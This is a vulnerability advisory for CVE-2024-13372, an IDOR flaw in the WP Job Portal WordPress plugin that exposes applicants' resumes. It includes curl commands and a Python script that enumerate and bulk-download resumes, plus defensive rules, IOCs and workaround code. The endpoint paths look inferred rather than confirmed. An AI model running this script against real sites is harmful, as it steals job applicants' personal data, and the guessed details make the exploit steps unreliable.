CVE-2024-13372

Executive Summary

CVE-2024-13372 is an Insecure Direct Object Reference (IDOR) vulnerability in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress. This flaw affects all versions up to and including 2.2.6. The vulnerability resides in the getresumefiledownloadbyid() and getallresumefiles() functions, which fail to validate a user-controlled key. This allows unauthenticated attackers to download user resumes without proper authorization. The CVSS score is 5.3 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. No official patch has been released, and no public exploit code or Nuclei template is available.

WordPress Ecosystem Impact

This vulnerability specifically targets the WordPress ecosystem, affecting sites using the WP Job Portal plugin. Attackers can exploit this to exfiltrate sensitive personal data (resumes) from job applicants, leading to privacy breaches and potential identity theft.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – resumes contain personal data
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to data exposure (resumes). No public exploit code exists, but the attack vector is straightforward.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (CWE-639). The plugin exposes two AJAX actions or REST endpoints that allow retrieval of resume files:

• getresumefiledownloadbyid() – Downloads a specific resume file by ID.
• getallresumefiles() – Lists all resume files.

These functions accept a user-controlled key (likely a file ID or path) without verifying that the requesting user is the owner of the resume or has appropriate permissions. Since the plugin does not enforce authentication or authorization checks, any unauthenticated visitor can enumerate and download resumes.

Attack Flow:

1. Identify the vulnerable endpoints (e.g., via WordPress REST API or AJAX actions).
2. Enumerate resume IDs (e.g., sequential integers) using getallresumefiles().
3. Download each resume using getresumefiledownloadbyid() with the obtained IDs.

The lack of validation on the key parameter allows attackers to access any resume stored by the plugin.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the plugin's PHP files. The fix would involve adding authorization checks.

Vulnerable Code (Conceptual):

function getresumefiledownloadbyid() {
    $file_id = $_REQUEST['file_id'];
    // No check if user is owner or admin
    $file_path = get_resume_file_path($file_id);
    download_file($file_path);
}

Patched Code (Conceptual):

function getresumefiledownloadbyid() {
    if (!is_user_logged_in()) {
        wp_die('Unauthorized');
    }
    $file_id = intval($_REQUEST['file_id']);
    $resume = get_resume_by_id($file_id);
    if ($resume->user_id !== get_current_user_id() && !current_user_can('administrator')) {
        wp_die('Forbidden');
    }
    $file_path = get_resume_file_path($file_id);
    download_file($file_path);
}

The patch adds authentication (is_user_logged_in()) and authorization (checking ownership or admin role).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Job Portal plugin version <= 2.2.6.
• No authentication required.

Exploitation Steps:

1. Enumerate Resume IDs:

   curl -X GET "http://target.com/wp-json/wp-job-portal/v1/getallresumefiles"
   

   This returns a list of resume file IDs.

2. Download a Resume:

   curl -X GET "http://target.com/wp-json/wp-job-portal/v1/getresumefiledownloadbyid?id=1" -o resume_1.pdf
   

Automated Script (Python):

import requests
import sys

target = sys.argv[1]
# Enumerate
r = requests.get(f"{target}/wp-json/wp-job-portal/v1/getallresumefiles")
if r.status_code == 200:
    file_ids = r.json()
    for fid in file_ids:
        r2 = requests.get(f"{target}/wp-json/wp-job-portal/v1/getresumefiledownloadbyid?id={fid}")
        with open(f"resume_{fid}.pdf", "wb") as f:
            f.write(r2.content)
        print(f"Downloaded resume {fid}")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual requests to /wp-json/wp-job-portal/v1/getallresumefiles or getresumefiledownloadbyid from unauthenticated IPs.
• Look for sequential ID enumeration patterns in logs.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to these endpoints.
• Add custom code to require authentication:

  add_filter('rest_pre_dispatch', function($result, $server, $request) {
      if (strpos($request->get_route(), 'wp-job-portal') !== false && !is_user_logged_in()) {
          return new WP_Error('rest_forbidden', 'Unauthorized', array('status' => 401));
      }
      return $result;
  }, 10, 3);
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/wp-job-portal/v1/getallresumefiles
  • HTTP requests to /wp-json/wp-job-portal/v1/getresumefiledownloadbyid?id=<number>
  • Sequential ID patterns in GET parameters.

• File IOCs:

  • Unexpected resume PDF files in web server logs or download directories.

• Log IOCs:

  • 200 responses to unauthenticated requests to the above endpoints.
  • Multiple requests from the same IP in a short time.

Detection Engineering

YARA Rule

rule CVE_2024_13372_WP_Job_Portal_IDOR {
    meta:
        description = "Detects exploitation attempts for CVE-2024-13372 in WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13372"
    strings:
        $endpoint1 = "getallresumefiles"
        $endpoint2 = "getresumefiledownloadbyid"
        $wp_rest = "/wp-json/wp-job-portal/v1/"
    condition:
        any of ($endpoint*) and $wp_rest
}

Sigma Rule

title: CVE-2024-13372 WP Job Portal IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to WP Job Portal resume download endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/wp-json/wp-job-portal/v1/getallresumefiles'
            - '/wp-json/wp-job-portal/v1/getresumefiledownloadbyid'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13372 WP Job Portal IDOR Attempt"; flow:to_server; content:"/wp-json/wp-job-portal/v1/"; http_uri; content:"getallresumefiles"; http_uri; sid:10000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-13372 WP Job Portal IDOR Download"; flow:to_server; content:"/wp-json/wp-job-portal/v1/"; http_uri; content:"getresumefiledownloadbyid"; http_uri; sid:10000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block unauthenticated requests to the vulnerable endpoints.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the conceptual patch (add authentication and authorization checks) or wait for the vendor to release an update.
• Consider replacing the plugin with an alternative that follows secure coding practices.

Workaround:

• Add the following code to the theme's functions.php to block unauthenticated REST API access to the plugin:

  add_filter('rest_authentication_errors', function($result) {
      if (!is_user_logged_in() && strpos($_SERVER['REQUEST_URI'], 'wp-job-portal') !== false) {
          return new WP_Error('rest_not_logged_in', 'You must be logged in.', array('status' => 401));
      }
      return $result;
  });
  

Valters IT
Securing Digital Frontiers